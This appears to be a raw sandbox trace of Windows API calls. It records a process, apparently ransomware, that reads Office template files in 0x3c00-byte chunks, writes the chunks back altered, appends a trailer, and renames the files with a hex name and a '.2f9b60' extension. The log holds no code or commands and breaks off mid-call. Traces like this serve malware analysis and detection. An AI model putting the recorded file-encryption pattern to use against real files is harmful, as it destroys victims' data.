(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ac20) returned 1 [0138.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205abc0) returned 1 [0138.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420d9960 [0138.883] SetFilePointerEx (in: hFile=0x1e98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.883] ReadFile (in: hFile=0x1e98, lpBuffer=0x420d9960, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x388ef840, lpOverlapped=0x0 | out: lpBuffer=0x420d9960*, lpNumberOfBytesRead=0x388ef840*=0x3c00, lpOverlapped=0x0) returned 1 [0138.884] SetFilePointerEx (in: hFile=0x1e98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205abc0 [0138.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205abc0) returned 1 [0138.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420dd570 [0138.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205abc0 [0138.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ac20 [0138.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ac20) returned 1 [0138.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.886] WriteFile (hFile=0x1e98, lpBuffer=0x420dd570, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x388ef840, lpOverlapped=0x0) [0170.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420dd570) returned 1 [0170.859] SetFilePointerEx (in: hFile=0x1e98, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.859] ReadFile (in: hFile=0x1e98, lpBuffer=0x420d9960, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x388ef840, lpOverlapped=0x0 | out: lpBuffer=0x420d9960*, lpNumberOfBytesRead=0x388ef840*=0x3c00, lpOverlapped=0x0) returned 1 [0170.934] SetFilePointerEx (in: hFile=0x1e98, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0170.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0170.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608c0 [0170.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202608c0) returned 1 [0170.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4210a920 [0170.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608c0 [0170.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a70 [0170.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260a70) returned 1 [0170.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0170.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0170.937] WriteFile (in: hFile=0x1e98, lpBuffer=0x4210a920*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x388ef840, lpOverlapped=0x0 | out: lpBuffer=0x4210a920*, lpNumberOfBytesWritten=0x388ef840*=0x3c00, lpOverlapped=0x0) returned 1 [0187.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4210a920) returned 1 [0187.557] SetFilePointerEx (in: hFile=0x1e98, liDistanceToMove=0x3989a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.557] ReadFile (in: hFile=0x1e98, lpBuffer=0x420d9960, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x388ef840, lpOverlapped=0x0 | out: lpBuffer=0x420d9960*, lpNumberOfBytesRead=0x388ef840*=0x3c00, lpOverlapped=0x0) returned 1 [0190.633] SetFilePointerEx (in: hFile=0x1e98, liDistanceToMove=0x3989a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138f80 [0190.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138f80) returned 1 [0190.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4298be10 [0190.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138f80 [0190.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138fb0 [0190.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138fb0) returned 1 [0190.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.637] WriteFile (in: hFile=0x1e98, lpBuffer=0x4298be10*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x388ef840, lpOverlapped=0x0 | out: lpBuffer=0x4298be10*, lpNumberOfBytesWritten=0x388ef840*=0x3c00, lpOverlapped=0x0) returned 1 [0205.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4298be10) returned 1 [0205.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319efe0 [0205.180] SetFilePointerEx (in: hFile=0x1e98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.181] WriteFile (in: hFile=0x1e98, lpBuffer=0x1ceb8040*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x388ef8f0, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8040*, lpNumberOfBytesWritten=0x388ef8f0*=0x162, lpOverlapped=0x0) returned 1 [0208.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61880 [0208.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb460 [0208.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267e60 [0208.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267e60) returned 1 [0208.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1ce5e370 [0208.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267e60 [0208.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267e30 [0208.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267e30) returned 1 [0208.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb460) returned 1 [0208.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61880) returned 1 [0208.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x4319f050 [0208.511] sprintf (in: _Dest=0x4319f050, _Format="%c%c" | out: _Dest="e0") returned 2 [0208.511] sprintf (in: _Dest=0x4319f052, _Format="%c%c" | out: _Dest="42") returned 2 [0208.511] sprintf (in: _Dest=0x4319f054, _Format="%c%c" | out: _Dest="ac") returned 2 [0208.511] sprintf (in: _Dest=0x4319f056, _Format="%c%c" | out: _Dest="82") returned 2 [0208.511] sprintf (in: _Dest=0x4319f058, _Format="%c%c" | out: _Dest="5f") returned 2 [0208.511] sprintf (in: _Dest=0x4319f05a, _Format="%c%c" | out: _Dest="4a") returned 2 [0208.511] sprintf (in: _Dest=0x4319f05c, _Format="%c%c" | out: _Dest="c4") returned 2 [0208.511] sprintf (in: _Dest=0x4319f05e, _Format="%c%c" | out: _Dest="68") returned 2 [0208.511] sprintf (in: _Dest=0x4319f060, _Format="%c%c" | out: _Dest="25") returned 2 [0208.511] sprintf (in: _Dest=0x4319f062, _Format="%c%c" | out: _Dest="a0") returned 2 [0208.511] sprintf (in: _Dest=0x4319f064, _Format="%c%c" | out: _Dest="ee") returned 2 [0208.511] sprintf (in: _Dest=0x4319f066, _Format="%c%c" | out: _Dest="67") returned 2 [0208.511] sprintf (in: _Dest=0x4319f068, _Format="%c%c" | out: _Dest="98") returned 2 [0208.511] sprintf (in: _Dest=0x4319f06a, _Format="%c%c" | out: _Dest="40") returned 2 [0208.511] sprintf (in: _Dest=0x4319f06c, _Format="%c%c" | out: _Dest="78") returned 2 [0208.511] sprintf (in: _Dest=0x4319f06e, _Format="%c%c" | out: _Dest="48") returned 2 [0208.512] sprintf (in: _Dest=0x4319f070, _Format="%c%c" | out: _Dest="35") returned 2 [0208.512] sprintf (in: _Dest=0x4319f072, _Format="%c%c" | out: _Dest="52") returned 2 [0208.512] sprintf (in: _Dest=0x4319f074, _Format="%c%c" | out: _Dest="30") returned 2 [0208.512] sprintf (in: _Dest=0x4319f076, _Format="%c%c" | out: _Dest="6c") returned 2 [0208.512] sprintf (in: _Dest=0x4319f078, _Format="%c%c" | out: _Dest="f1") returned 2 [0208.512] sprintf (in: _Dest=0x4319f07a, _Format="%c%c" | out: _Dest="c1") returned 2 [0208.512] sprintf (in: _Dest=0x4319f07c, _Format="%c%c" | out: _Dest="67") returned 2 [0208.512] sprintf (in: _Dest=0x4319f07e, _Format="%c%c" | out: _Dest="5d") returned 2 [0208.512] sprintf (in: _Dest=0x4319f080, _Format="%c%c" | out: _Dest="e1") returned 2 [0208.512] sprintf (in: _Dest=0x4319f082, _Format="%c%c" | out: _Dest="28") returned 2 [0208.512] sprintf (in: _Dest=0x4319f084, _Format="%c%c" | out: _Dest="2b") returned 2 [0208.512] sprintf (in: _Dest=0x4319f086, _Format="%c%c" | out: _Dest="4a") returned 2 [0208.512] sprintf (in: _Dest=0x4319f088, _Format="%c%c" | out: _Dest="a2") returned 2 [0208.512] sprintf (in: _Dest=0x4319f08a, _Format="%c%c" | out: _Dest="34") returned 2 [0208.512] sprintf (in: _Dest=0x4319f08c, _Format="%c%c" | out: _Dest="9d") returned 2 [0208.512] sprintf (in: _Dest=0x4319f08e, _Format="%c%c" | out: _Dest="24") returned 2 [0208.512] sprintf (in: _Dest=0x4319f090, _Format="%c%c" | out: _Dest="7c") returned 2 [0208.512] sprintf (in: _Dest=0x4319f092, _Format="%c%c" | out: _Dest="e8") returned 2 [0208.512] sprintf (in: _Dest=0x4319f094, _Format="%c%c" | out: _Dest="c2") returned 2 [0208.512] sprintf (in: _Dest=0x4319f096, _Format="%c%c" | out: _Dest="89") returned 2 [0208.512] sprintf (in: _Dest=0x4319f098, _Format="%c%c" | out: _Dest="15") returned 2 [0208.512] sprintf (in: _Dest=0x4319f09a, _Format="%c%c" | out: _Dest="bb") returned 2 [0208.512] sprintf (in: _Dest=0x4319f09c, _Format="%c%c" | out: _Dest="b8") returned 2 [0208.512] sprintf (in: _Dest=0x4319f09e, _Format="%c%c" | out: _Dest="bf") returned 2 [0208.512] sprintf (in: _Dest=0x4319f0a0, _Format="%c%c" | out: _Dest="5a") returned 2 [0208.512] sprintf (in: _Dest=0x4319f0a2, _Format="%c%c" | out: _Dest="9d") returned 2 [0208.513] sprintf (in: _Dest=0x4319f0a4, _Format="%c%c" | out: _Dest="49") returned 2 [0208.513] sprintf (in: _Dest=0x4319f0a6, _Format="%c%c" | out: _Dest="c5") returned 2 [0208.513] sprintf (in: _Dest=0x4319f0a8, _Format="%c%c" | out: _Dest="76") returned 2 [0208.513] sprintf (in: _Dest=0x4319f0aa, _Format="%c%c" | out: _Dest="91") returned 2 [0208.513] sprintf (in: _Dest=0x4319f0ac, _Format="%c%c" | out: _Dest="cb") returned 2 [0208.513] sprintf (in: _Dest=0x4319f0ae, _Format="%c%c" | out: _Dest="3d") returned 2 [0208.513] RtlInitAnsiString (in: DestinationString=0x388ef968, SourceString="e042ac825f4ac46825a0ee67984078483552306cf1c1675de1282b4aa2349d247ce8c28915bbb8bf5a9d49c57691cb3d" | out: DestinationString="e042ac825f4ac46825a0ee67984078483552306cf1c1675de1282b4aa2349d247ce8c28915bbb8bf5a9d49c57691cb3d") [0208.513] RtlAnsiStringToUnicodeString (in: DestinationString=0x388ef938, SourceString="e042ac825f4ac46825a0ee67984078483552306cf1c1675de1282b4aa2349d247ce8c28915bbb8bf5a9d49c57691cb3d", AllocateDestinationString=1 | out: DestinationString="e042ac825f4ac46825a0ee67984078483552306cf1c1675de1282b4aa2349d247ce8c28915bbb8bf5a9d49c57691cb3d") returned 0x0 [0208.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x430fd0e0 [0208.513] wcscat (in: _Dest=0x43145f30, _Source="e042ac825f4ac46825a0ee67" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\e042ac825f4ac46825a0ee67") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\e042ac825f4ac46825a0ee67" [0208.513] wcscat (in: _Dest=0x43145f30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\e042ac825f4ac46825a0ee67.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\e042ac825f4ac46825a0ee67.2f9b60" [0208.513] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\e042ac825f4ac46825a0ee67.2f9b60", NtPathName=0x388ef910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\e042ac825f4ac46825a0ee67.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x4205e800 Thread: id = 2112 os_tid = 0x1410 [0138.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivereport.dotx")) returned 0x20 [0138.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveReport.dotx", dwFileAttributes=0x20) returned 1 [0138.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivereport.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e94 [0138.889] GetFileSizeEx (in: hFile=0x1e94, lpFileSize=0x3856f920 | out: lpFileSize=0x3856f920*=832554) returned 1 [0138.889] SetFilePointerEx (in: hFile=0x1e94, liDistanceToMove=0xcb426, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.889] ReadFile (in: hFile=0x1e94, lpBuffer=0x3856f8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3856f8e8, lpOverlapped=0x0 | out: lpBuffer=0x3856f8a0*, lpNumberOfBytesRead=0x3856f8e8*=0x4, lpOverlapped=0x0) returned 1 [0138.893] SetFilePointerEx (in: hFile=0x1e94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ac20 [0138.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205acb0 [0138.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ace0 [0138.894] NtQuerySystemTime (in: CurrentTime=0x3856f7e0 | out: CurrentTime=0x3856f7e0*=132462177441358000) returned 0x0 [0138.894] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x4476da59 [0138.894] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x1f72f085 [0138.894] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x51077a86 [0138.894] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x333d903f [0138.894] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x3471bac1 [0138.894] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x7771155d [0138.894] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x54573058 [0138.894] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x2a206b08 [0138.894] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x363b0d02 [0138.894] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x1a0c7f29 [0138.894] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x3689be51 [0138.894] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x4a4cf90f [0138.894] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0xf999dd5 [0138.894] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x6fdd0584 [0138.894] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x4ea448e2 [0138.894] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x27c078e7 [0138.894] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x4f191f75 [0138.894] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x12b9de75 [0138.895] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x66771662 [0138.895] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x4ce39d03 [0138.895] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x76affcd6 [0138.895] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x6698e9c9 [0138.895] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x2095240a [0138.895] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x1f5c843a [0138.895] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x65cbb362 [0138.895] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x20060630 [0138.895] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x66efe737 [0138.895] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x114dfa1f [0138.895] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x63282a24 [0138.895] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x44058412 [0138.895] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x65e2dba0 [0138.895] RtlRandomEx (in: Seed=0x3856f7d0 | out: Seed=0x3856f7d0) returned 0x20583a3a [0138.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ad10 [0138.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ad40 [0138.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ace0) returned 1 [0138.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ac20) returned 1 [0138.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420e1180 [0138.904] SetFilePointerEx (in: hFile=0x1e94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.904] ReadFile (in: hFile=0x1e94, lpBuffer=0x420e1180, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3856f840, lpOverlapped=0x0 | out: lpBuffer=0x420e1180*, lpNumberOfBytesRead=0x3856f840*=0x3c00, lpOverlapped=0x0) returned 1 [0138.922] SetFilePointerEx (in: hFile=0x1e94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ac20 [0138.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ac20) returned 1 [0138.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420e89a0 [0138.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ac20 [0138.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ad70 [0138.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ad70) returned 1 [0138.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.923] WriteFile (in: hFile=0x1e94, lpBuffer=0x420e89a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3856f840, lpOverlapped=0x0 | out: lpBuffer=0x420e89a0*, lpNumberOfBytesWritten=0x3856f840*=0x3c00, lpOverlapped=0x0) returned 1 [0160.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420e89a0) returned 1 [0160.942] SetFilePointerEx (in: hFile=0x1e94, liDistanceToMove=0x69000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.942] ReadFile (in: hFile=0x1e94, lpBuffer=0x420e1180, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3856f840, lpOverlapped=0x0 | out: lpBuffer=0x420e1180*, lpNumberOfBytesRead=0x3856f840*=0x3c00, lpOverlapped=0x0) returned 1 [0165.698] SetFilePointerEx (in: hFile=0x1e94, liDistanceToMove=0x69000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0165.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0165.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205c030 [0165.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c030) returned 1 [0165.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425c4d60 [0165.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205c030 [0165.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b820 [0165.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b820) returned 1 [0165.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0165.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0165.701] WriteFile (in: hFile=0x1e94, lpBuffer=0x425c4d60*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3856f840, lpOverlapped=0x0 | out: lpBuffer=0x425c4d60*, lpNumberOfBytesWritten=0x3856f840*=0x3c00, lpOverlapped=0x0) returned 1 [0192.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425c4d60) returned 1 [0192.647] SetFilePointerEx (in: hFile=0x1e94, liDistanceToMove=0xc782a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.647] ReadFile (in: hFile=0x1e94, lpBuffer=0x420e1180, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3856f840, lpOverlapped=0x0 | out: lpBuffer=0x420e1180*, lpNumberOfBytesRead=0x3856f840*=0x3c00, lpOverlapped=0x0) returned 1 [0192.649] SetFilePointerEx (in: hFile=0x1e94, liDistanceToMove=0xc782a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596a0 [0192.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0192.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e060 [0192.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e060) returned 1 [0192.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425c4d60 [0192.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e060 [0192.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1dfa0 [0192.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1dfa0) returned 1 [0192.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0192.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0192.652] WriteFile (in: hFile=0x1e94, lpBuffer=0x425c4d60*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3856f840, lpOverlapped=0x0 | out: lpBuffer=0x425c4d60*, lpNumberOfBytesWritten=0x3856f840*=0x3c00, lpOverlapped=0x0) returned 1 [0205.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425c4d60) returned 1 [0205.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f750 [0205.346] SetFilePointerEx (in: hFile=0x1e94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.347] WriteFile (in: hFile=0x1e94, lpBuffer=0x1ceb8770*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x3856f8f0, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8770*, lpNumberOfBytesWritten=0x3856f8f0*=0x15a, lpOverlapped=0x0) returned 1 [0208.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bd90 [0208.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b610 [0208.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b610) returned 1 [0208.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4205b610 [0208.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) 